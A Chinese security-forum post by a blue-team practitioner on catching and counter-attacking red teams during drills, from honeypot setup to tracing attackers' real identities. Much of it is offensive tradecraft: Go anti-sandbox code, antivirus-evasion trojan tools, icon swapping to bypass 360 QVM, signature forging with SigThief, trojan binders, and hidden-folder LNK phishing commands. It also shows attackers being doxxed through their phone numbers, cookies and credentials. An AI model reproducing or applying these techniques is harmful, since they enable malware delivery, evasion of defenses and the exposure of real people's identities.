奇安信攻防社区-【溯源反制】自搭建蜜罐到反制攻击队

【溯源反制】自搭建蜜罐到反制攻击队

本篇文章结合之前的案例总结了一些作为蓝队的经验，希望能对蓝队溯源得分有所帮助，如果还有其他奇招妙法欢迎师傅们多多交流

### 前言

溯源反制一直是老生常谈的话题，是红蓝双方的对抗博弈，即便是专业的红队也会有犯错的时刻，大致总结为下面这些原因：

- 比赛提供的机器太过于卡顿，使用虚拟机操作影响效率，心情浮躁直接真机操作
- 红队操作习惯不好，未使用干净的虚拟机操作，机器上存有可溯源身份的文件或信息
- ”淹死的大多是会游泳的人“，因为有经验所以轻敌，抱有自己不会犯错的心理
- 对蜜罐判别不准确，未使用无痕模式或者识别蜜罐插件，甚至把蜜罐当作成果分享给队友

### 反制的大致流程

![image-20230725200645118](https://shs3.b.qianxin.com/attack_forum/2023/08/attach-8b566b8eb1fc55d0c9273e045f400f788089e50b.png)

### 蜜罐部署

部署一个高仿真的虚拟环境，这里有一些事项需要注意的

- 部署的蜜罐需提前向裁判报备，避免后续扯皮，且蜜罐需单独隔离，防止横向扩散
- 蜜罐不能太假，如多端口开启不同的web服务，系统要给攻击人员一种是靠自己努力获取成果的假象

如果直接使用xx厂商的云蜜罐，特征十分明显，还很容易在测绘平台上打上`蜜罐`标签，并且常规反制功能很鸡肋，触发条件很苛刻

![image-20230726113316371](https://shs3.b.qianxin.com/attack_forum/2023/08/attach-573782927d14e3843e5c05cb9ea9251ff4529b67.png)

这次直接使用之前用来漏洞调试的`致远OA`环境，考虑到攻击队有学生队，保留一个存在nday的漏洞环境，让其能直接工具一键化getshell进行后渗透利用

镜像导入云服务器需要到下面这个地址下载驱动进行安装，再导出镜像，不然在云服务器会导入失败

<https://cloud.tencent.com/document/product/213/17815>

![image-20230726112024147](https://shs3.b.qianxin.com/attack_forum/2023/08/attach-acd3e27ae1f4f34eece1514fc3670132c7bd620a.png)

搭建成功后把域名解析到IP上，域名命名最好以 `demo`、`crm`常见字典内字符为主，确保能被子域名扫描器识别到

![image-20230801150910986](https://shs3.b.qianxin.com/attack_forum/2023/08/attach-a122dc194f543196604ded91e13d759d9f37b94d.png)

另外可以通过waf自定义重定向页面至蜜罐地址，加快fofa、hunter等测绘平台的收录速度

![image-20230801151538336](https://shs3.b.qianxin.com/attack_forum/2023/08/attach-cf264d1a23f3df71202c7e2114dcc14016e13249.png)

![image-20230801151438865](https://shs3.b.qianxin.com/attack_forum/2023/08/attach-574efc1e7375cb53244af8d58e7dacc27aa53b94.png)

蜜罐部署好了，接下来就是木马的投放选择，文件内容可以选择`密码本、内部VPN程序、公司通讯录`等吸引攻击者的东西

这次我选择的是伪装内部vpn程序，并配合文档指导增加可信度和点击率

![image-20230803162751068](https://shs3.b.qianxin.com/attack_forum/2023/08/attach-249c4760bcf58c6756642cb11b24b3cb21f29ec9.png)

由于攻击队点击蜜罐充满随机性，为了能及时反制可设置上线提醒，具体参考 <https://xz.aliyun.com/t/10698>

接下来就可以静候佳音，等待攻击者上钩，主打的就是一手姜太公钓鱼

### 溯源反制

#### 常规溯源

溯源得分规则需要**交叉举证**、同时举证攻击者具备**网络安全攻击能力**，可从态势感知或防火墙上收集攻击者IP

![image-20230804114002608](https://shs3.b.qianxin.com/attack_forum/2023/08/attach-0b1c0ec4e7c010e279be7cd59a6be9f33d910874.png)

对IP去重后进行**指纹识别**，例如安全博客、扫描器等等，从这些资产中溯源可以提高效率，这里推荐使用ehole

<https://github.com/EdgeSecurityTeam/EHole>

![image-20230804124810712](https://shs3.b.qianxin.com/attack_forum/2023/08/attach-39059e2cd7e1ef8285479bc69e6fe943a050c5cf.png)

举个例子，根据IP进行端口扫描发现到其搭建了灯塔系统

![image-20230804125035741](https://shs3.b.qianxin.com/attack_forum/2023/08/attach-16c884729d31f84b400a8affeab22b1c2a56c096.png)

并通过态势感知平台发现其最近有扫描行为，很大概率是攻击队ip

![image-20230804125137173](https://shs3.b.qianxin.com/attack_forum/2023/08/attach-ce4b61f2afe58858ae05f461cc58974052657ed1.png)去微步进行Ip查询，发现IP绑定了域名，国内域名需要备案实名

![image-20230804125229046](https://shs3.b.qianxin.com/attack_forum/2023/08/attach-1ce57b1599e32d61f7d7312e1805f88c7c42d4ad.png)

通过查询该域名whois信息，获取攻击者姓名：`沈xx`，qq邮箱：`578xxxxxx@qq.com`

![image-20230804125335696](https://shs3.b.qianxin.com/attack_forum/2023/08/attach-815d1645f7b6337ac84e54846bf182c86c1950d8.png)

#### 反制攻击队成员1

案例来源于最近的ps比赛，寂静的夜晚突然响起了上线告警，正准备收拾东西下班的我顿时不困了

在反制过程中由于翻东西速度过快，可能会遗漏部分重要内容，建议边录屏边进行操作

通过机器上的录屏文件推测为现场攻击队成员，但由于视频过大不方便拷贝取证，只能另寻方法确认攻击队

![image-20230726122159369](https://shs3.b.qianxin.com/attack_forum/2023/08/attach-22ba2eb96bde0b6f17fa973aeb4872cc373a7266.png)

攻击者操作习惯不错，使用的是虚拟机，在各个文件夹搜索许久并未找到个人信息相关的文件，正当一筹莫展之际突然翻到浏览器历史记录有这么一条

![image-20230803163728736](https://shs3.b.qianxin.com/attack_forum/2023/08/attach-c5a5e99c75f5849fe95561d6af44fb6e439fd2a6.png)

`username`居然是个手机号，一开始还以为只是普通的攻击成果没注意，百度一波发现是来自浙江温州的手机，明显与本次hw对应不上，猜测为攻击者本人手机

![image-20230803164107367](https://shs3.b.qianxin.com/attack_forum/2023/08/attach-9f33247cecac62855c88ca4d68589712b48a02a3.png)

于是通过手机号反查个人信息，获取到了名字`陈xx`，就读于`浙江xxxx学校`，通过谷歌语法查询关键字，成功定位其任职于`xx信息公司`

![image-20230726121558031](https://shs3.b.qianxin.com/attack_forum/2023/08/attach-90afc6e7539812b2d569d282a63375579f56b66c.png)

通过内部通讯录二次确认攻击队队员身份，确定为在职实验室人员，这么一来所有的信息都对上了，结束收工

![image-20230726120729395](https://shs3.b.qianxin.com/attack_forum/2023/08/attach-f9ebd121b6642b162e9fd5bd9a865560c7aa0b64.png)

小插曲：从浏览器历史记录还获取到了灯塔系统的账密，攻击队应该感激我没有把任务删掉哈哈?

![image-20230804120913470](https://shs3.b.qianxin.com/attack_forum/2023/08/attach-52e6b6e669697104de82725fd08ea9adb0cf5c80.png)

#### 反制攻击队成员2

又是一位幸运玩家不小心踩罐，从机器上的python脚本文件找到ICP备案查询的`cookie`和`token`

![image-20230726115346985](https://shs3.b.qianxin.com/attack_forum/2023/08/attach-65e574e53b553e3d05611b8a3cb503bf09d599f1.png)

burp替换cookie后成功获取攻击者的`百度ID`

![image-20230726115720013](https://shs3.b.qianxin.com/attack_forum/2023/08/attach-aea611d72027d020e9a07887c993c8b9ac88e78b.png)

进而互联网搜索其名字的相关信息，发现还搭建了技术博客，成功定位其真实姓名 `吴xx`

![image-20230726115226838](https://shs3.b.qianxin.com/attack_forum/2023/08/attach-903d1db028c6fb7e39956011ddf7b8cd1acf5f11.png)

并通过机器上的`CISP-PTE考试信息`进一步确认其身份

![image-20230726120407990](https://shs3.b.qianxin.com/attack_forum/2023/08/attach-99dbcf01adae5213e94d502ab8d5cbac930417a8.png)

#### 反制攻击队成员3

宁静的村庄突然收到一则微信好友申请，正在吃瓜的我知道来活了，一眼就知道是攻击队微信钓鱼，将计就计配合其表演

![image-20230801153932954](https://shs3.b.qianxin.com/attack_forum/2023/08/attach-808cd3a3ec173efa323c7a4289b11a53d5adcc83.png)

这里使用热点和虚拟机模拟个人终端环境点击攻击队的木马程序，并在桌面上放置反钓鱼木马文件`xx蓝方信息表`

![image-20230801160823564](https://shs3.b.qianxin.com/attack_forum/2023/08/attach-d1d9b61cec1f6d100e6737da4225c440e556162d.png)

这里使用的是lnk文件，制作方法可通过后面的lnk文件制作模块进行查阅，为了实现解压文件的时候不可预览内容，我们需要选择rar压缩文件进行加密

![image-20230804111528572](https://shs3.b.qianxin.com/attack_forum/2023/08/attach-cb54f6ccca432ef8a4ee0041b8a0f4b0550ca2f8.png)

这样解压之后就只有一个独立的lnk文件出现，在心烦意乱的hw后期攻击队很容易放松警惕不注意，最后也是成功上线机器

![image-20230801162614286](https://shs3.b.qianxin.com/attack_forum/2023/08/attach-26fc64c0e55824f6c82ae64848881f6225892622.png)

### 涉及的技术手段

#### 木马免杀

要想反制攻击队，首先离不开的就是一个免杀性持久的木马，能抗能打

厚颜无耻的我趁机来打一波广告，过国内杀软常见三剑客，添加反沙箱代码可实现微步绿色，VT10以内

菜鸡本人项目：<https://github.com/Pizz33/GobypassAV-shellcode>

好兄弟王超攻的项目：<https://github.com/wangfly-me/SysHttpHookSleep>

![image-20230725194823394](https://shs3.b.qianxin.com/attack_forum/2023/08/attach-7adcc72a163d82533b8bb7ac52842cb2996a91d9.png)

#### 反沙箱

传统的反沙箱有很多，如检测开机时间、机器内存大小、鼠标移动点击等等，这里提供两种比较实用的，剩下师傅们可以慢慢探索

检测桌面文件数量

```php
func desktop() {  
  desktopPath, err :\= os.UserHomeDir()  
  if err != nil {  
    fmt.Println("无法获取用户桌面路径：", err)  
    return  
  }  
  
  desktopFiles, err :\= ioutil.ReadDir(filepath.Join(desktopPath, "Desktop"))  
  if err != nil {  
    fmt.Println("无法读取用户桌面文件列表：", err)  
    return  
  }  
  
  fileCount :\= len(desktopFiles)  
  fmt.Println("用户桌面文件数：", fileCount)  
  
  if fileCount < 10 {  
    os.Exit(0)  
  }  
}
```

检测运行程序名是否一致

```php
func process() {  
  executablePath, err :\= os.Executable()  
  if err != nil {  
    // 处理错误  
    return  
  }  
  
  sourceFilename :\= filepath.Base(executablePath) // 源文件名称  
  processName :\= filepath.Base(os.Args\[0\])        // 当前运行进程名称  
  
  // 比较源文件名称和进程名称是否相同  
  if strings.EqualFold(sourceFilename, processName) {  
    // 进程名称和源文件名称相同，正常运行  
    // 在这里执行正常的操作  
  } else {  
    // 进程名称和源文件名称不同，可能在沙箱环境中运行  
    // 在这里执行相应的防沙箱操作  
    os.Exit(0) // 退出程序  
  }  
}
```

#### 资源替换

做完免杀马，那接下来肯定需要伪装成正常的文件，图标和签名是很重要的一环，且可以一定程度规避`360qvm检测`

批量生成钓鱼马  
[https://github.com/Pizz33/360QVM\_bypass](https://github.com/Pizz33/360QVM_bypass)

360会对不携带资源的可疑程序进行拦截，标签为`HEUR/QVM202.0.29xx.Malware.Gen`

![](https://shs3.b.qianxin.com/attack_forum/2023/08/attach-9182a0b4d258c0676ffe85708b1c905acacc443d.png)

直接提取图标添加至exe一样会进行拦截

![](https://shs3.b.qianxin.com/attack_forum/2023/08/attach-19c209a824f6c4a16466abf93f9c89acb46458aa.png)

使用方法：

把免杀马命名为`test.exe` 运行脚本`python icon-exe.py -f ico_file -n number`

（`ResourceHacker.exe`来源于互联网，不放心可自行替换）

![](https://shs3.b.qianxin.com/attack_forum/2023/08/attach-aa5d4e04eba832527ffbbe0c12a07922de86e0e5.png)

脚本通过生成不同hash的ico并写入程序中，实现批量bypass360QVM，生成文件在output文件夹内

![](https://shs3.b.qianxin.com/attack_forum/2023/08/attach-ac5ad7f175d931805e8f4a5b24881fa8a98bbc30.png)

实现效果

![](https://shs3.b.qianxin.com/attack_forum/2023/08/attach-23bf1ff42d85d2e0b6fbbcc1ef1c20639436ad74.png)

![](https://shs3.b.qianxin.com/attack_forum/2023/08/attach-8ab9bcf2f835164d1ee830fcbe823ee9d999663b.png)  
伪造签名  
<https://github.com/secretsquirrel/SigThief>

`python sigthief.py -i 360Safe.exe -t notepad.exe -o tes.exe`

-i 为签名文件  
-t 为需要伪造的文件  
-o 为输出文件

![image-20230410153543832](https://shs3.b.qianxin.com/attack_forum/2023/08/attach-17383c5cd0498752ea3ccab120b0931b18fbe569.png)

<https://www.trustasia.com/solution/sign-tools>

![image-20230410154213202](https://shs3.b.qianxin.com/attack_forum/2023/08/attach-db736b0588f2afa65ca4d1a8aceaa8f4992d524a.png)

图标提取

<https://github.com/JarlPenguin/BeCyIconGrabberPortable>

![image-20230615150111453](https://shs3.b.qianxin.com/attack_forum/2023/08/attach-225394bd4abb0ca3ea6b202884bc8521cc4be0fc.png)

图标替换

Resource hacker

![image-20230410153855373](https://shs3.b.qianxin.com/attack_forum/2023/08/attach-c4bd4d6bba332dbb4ba720fb3b20ddebd3c992c3.png)

#### 木马捆绑器

反制过程中如果攻击者运行文件之后没有任何反应，会引起对方的怀疑，这时候就需要释放准备的正常文件，降低对方的戒心

<https://github.com/H4de5-7/Bundler-bypass>

导入正常的文件和木马，编译生成即可

![image-20230801154836473](https://shs3.b.qianxin.com/attack_forum/2023/08/attach-3ce633c5f78fd9c7b17e5ced8d4d8e29577fb98b.png)

<https://github.com/Yihsiwei/GoFileBinder>

坑点：

1、命令里exe要放在释放文件前面，不能更换命令顺序，否则生成后无法正常释放

2、go的版本选择的是17，测试发现18版本会生成失败

![image-20230801160657062](https://shs3.b.qianxin.com/attack_forum/2023/08/attach-a1bd3f8e8e1982aa4e0d9dac7f7c9444576ab7a6.png)

#### lnk文件制作

钓鱼样本结构为如下，打开文件夹是一个快捷方式和一个隐藏文件夹。在隐藏文件夹存在多级目录，最后一级目录放真实木马文件

![image-20230801160933394](https://shs3.b.qianxin.com/attack_forum/2023/08/attach-f6db8e42869603226de0ded056e29924ccdbdb38.png)

在`MACOS`文件夹下为真实的木马，对文件夹设置隐藏

```php
attrib +s +h +r C:\\Users\\Public\\xxx.exe  
attrib -s -h -r C:\\Users\\Public\\xxx.exe
```

![image-20230801161034778](https://shs3.b.qianxin.com/attack_forum/2023/08/attach-990db4d24dac0c87e233d76ab5959e7dae100d69.png)

根目录下的快捷方式修改目标属性，相对路径指向真实的马儿

```php
%windir%\\system32\\cmd.exe /c start .\\.\_\_MACOS\_\_\\.\_\_MACOS\_\_\\.\_\_MACOS\_\_\\.\_\_MACOS1\_\_\\xxx.doc && C:\\Windows\\explorer.exe ".\\.\_\_MACOS\_\_\\.\_\_MACOS\_\_\\.\_\_MACOS\_\_\\.\_\_MACOS1\_\_\\xxx.exe"  
C:\\Windows\\explorer.exe ".\\.\_\_MACOS\_\_\\.\_\_MACOS\_\_\\.\_\_MACOS\_\_\\.\_\_MACOS1\_\_\\xxx.exe"
```

![image-20230801161135119](https://shs3.b.qianxin.com/attack_forum/2023/08/attach-9475760633c5a1c7a7567c0243ee6182e9cea4e5.png)

发表于 2023-09-01 09:00:02
阅读 ( 9107 )
分类：WEB安全

1 条评论

assoonas 2023-09-13 00:15

师傅你好，请问快捷方式的word图标怎么设置？windows自带的图标库里好像没有像的word图标。